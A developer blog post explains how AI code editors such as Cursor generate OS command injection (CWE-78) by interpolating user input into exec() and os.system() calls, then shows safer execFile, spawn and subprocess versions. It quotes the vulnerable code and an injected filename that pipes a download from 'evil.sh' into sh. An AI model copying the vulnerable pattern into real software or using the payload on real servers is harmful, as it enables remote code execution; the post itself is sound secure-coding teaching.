DEV Community

Cover image for Why Cursor Keeps Writing Command Injection Into Your Code (CWE-78)
Charles Kern
Charles Kern

Posted on

Why Cursor Keeps Writing Command Injection Into Your Code (CWE-78)

TL;DR

  • AI editors love exec() with a template string, because that is what most tutorials show.
  • Drop one user-controlled variable into that string and you have remote command execution.
  • Switch to execFile/spawn with an argument array so no shell ever parses the input.

I asked Cursor to add an image thumbnail endpoint to a side project last week. It gave me working code in about four seconds. It also gave me a way for any user to run shell commands on my server.

Here is what it wrote:

const { exec } = require('child_process');

app.post('/thumbnail', (req, res) => {
  exec(`convert ${req.body.filename} -resize 200x200 thumb.png`, (err) => {
    if (err) return res.status(500).send('failed');
    res.send('done');
  });
});
Enter fullscreen mode Exit fullscreen mode

Looks fine. It runs. The demo works. Then someone posts this as the filename:

image.png; curl evil.sh | sh
Enter fullscreen mode Exit fullscreen mode

exec hands the whole string to /bin/sh, and the shell happily runs both commands. That semicolon is not part of the filename anymore. It is a command separator. This is CWE-78, OS command injection, and it is one of the oldest bugs on the internet.

Why AI keeps writing it

exec with a backtick string is the single most common shell pattern in Node tutorials, StackOverflow answers, and blog posts. In almost all of those examples the command is a fixed string, so nothing bad happens. The model learned the shape of the code but not the context. When you ask it to make the filename dynamic, it does the obvious thing and interpolates a variable into the string it already knows. The vulnerability is a side effect of pattern matching, not malice.

Python gets the same treatment:

os.system(f"convert {filename} -resize 200x200 thumb.png")  # same bug, different language
Enter fullscreen mode Exit fullscreen mode

The fix

Stop using a shell. execFile and spawn take the command and an array of arguments, and they never invoke /bin/sh. Metacharacters like ;, |, and $() lose all meaning because nothing is parsing them as shell syntax.

const { execFile } = require('child_process');

app.post('/thumbnail', (req, res) => {
  execFile('convert', [req.body.filename, '-resize', '200x200', 'thumb.png'], (err) => {
    if (err) return res.status(500).send('failed');
    res.send('done');
  });
});
Enter fullscreen mode Exit fullscreen mode

Python, same idea:

import subprocess
subprocess.run(["convert", filename, "-resize", "200x200", "thumb.png"], shell=False)
Enter fullscreen mode Exit fullscreen mode

Then add an allowlist on filename anyway. Reject anything that is not a plain name plus a known extension. Defense in depth costs three lines.

The rule is simple: the moment a variable touches a shell string, you have a decision to make, and the AI made the wrong one for you by default.

I've been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags exec-with-interpolation the moment it is generated, before I move on to the next prompt. That said, a pre-commit hook with semgrep will catch most of this too. The important thing is catching it while you still remember what the code does, whatever tool you use.

Top comments (0)